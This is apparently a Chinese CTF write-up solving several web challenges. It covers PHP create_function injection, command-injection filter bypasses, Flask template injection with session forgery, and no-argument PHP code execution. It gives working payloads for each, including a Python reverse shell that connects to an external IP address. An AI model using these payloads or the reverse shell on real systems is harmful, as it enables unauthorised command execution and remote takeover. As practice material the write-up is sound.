xmctf部分web
平台:xmctf.top
easy-web
打开靶机源码如下
1 |
|
存在一个变量key为bad,定义了值为bad所以die出badbad,get传参两个参数act和arg,正则匹配a-z,0-9,/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,/D如果使用$限制结尾字符,则不允许结尾有换行
需要绕过if正则匹配,从而控制arg参数
考点:create_function代码注入
create_function:根据传递的参数创建匿名函数,并为其返回唯一名称
语法:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
第一步要让key不die掉,直接post一个key把原来的key覆盖掉即可
然后想要函数正常调用,那就必须绕过正则,因此我们要在函数名的头或者尾加上一个字符\
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
那么接下来就是利用$act($arg,'');
进行代码注入了。
payload:?act=\create_function&arg=){return%20123;}system(%27dir%27);//
传入之后
1 | $act($arg,''); |
实际上也就是这样
1 | function a{ |
函数被闭合,就可以执行任意命令了。
读flag:
RCE-训练
打开靶机得源码
1 |
|
主要两个正则,第一个过滤一些文件读取命令,第二个匹配flag的任意单个或多个字符串。
经测试可以用|
进行命令执行
那么关键是绕过了,可以利用shell命令构造
payload:?ip=127.0.0.1|echo$IFS$9bHMgLw|base64$IFS$1-d|sh
$IFS$9代替空格,bHMgLw->ls /,输出给base64还原然后sh执行
那么读取flag
web4
打开靶机有一串md5代码
解析后为1.1.1.1,抓包加个xff头成功下一步
打开php得源码
1 |
|
disable_fun列表是一些文件操作函数,array_merge将多个数组单元合并,get_defined_functions返回数组,foreach遍历新的disable_function并传递给$i,if检测如果传入的shell中在数组中出现,则die,过了if检测则输出shell内容
直接变量拼接,payload:?shell=$a;$a=’syst’.’em’;$a(“cat flag.php”);
传入在源码得到flag
web8
打开靶机
传入?name=4
回显
猜测为模板注入,查看配置信息,发现secret_key泄露
那么考虑session伪造了,查看cookie部分发现jwt
解密得{'username': b'guest'}
,利用flask_session_cookie_manager脚本伪造admin
修改session访问/flag即可
web11
打开靶机只有一句hello,guest,讲道理要是没做web8我都想不到要传name。。。。
测试之后发现还是模板注入,
不过测试之后发现过了了很多东西,config,下划线,点号等等
也没有了session伪造不了,那么只能命令执行了。
payload:
1 | {{""[request["ar"+"gs"]["class"]][request["ar"+"gs"]["mro"]][1][request["ar"+"gs"]["subclass"]]()[286][request["ar"+"gs"]["init"]][request["ar"+"gs"]["globals"]]["os"]["popen"](request["ar"+"gs"]["cmd"])["read"]()}}&class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.134.220",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
用request["args"]["xx"]
配合赋值代替双下划线,后面开个python服务器连上自己的ecs,nc监听
读取flag即可。
web12
打开靶机得源码
1 | flag在哪里呢? |
主要三层正则匹配,第一层禁用了几个伪协议,第二层匹配a-z,逗号,下划线,(?R)引用当前表达式,(?R)?代表可以有引用,也可以没有,引用则变成[a-z,_]+\([a-z,_]+\((?R)?\)\)
的形式,可以一直迭代下去。这样可以匹配一些诸如print(echo(1))括号和字符组成的字符集,第三个禁用一些函数
payload:?exp=print_r(scandir(pos(localeconv())));
,scandir列出目录,pos返回数组中的当前单元, 默认取第一个值,localeconv返回数组。
那么读取flag.php,next函数读取php的第一个元素的下一个元素,flag.php是倒数第二个,所以可以把用array_reverse把数组倒过来再用next指向flag.php,最后用highlight_file读取。
payload:highlight_file(next(array_reverse(scandir(pos(localeconv())))));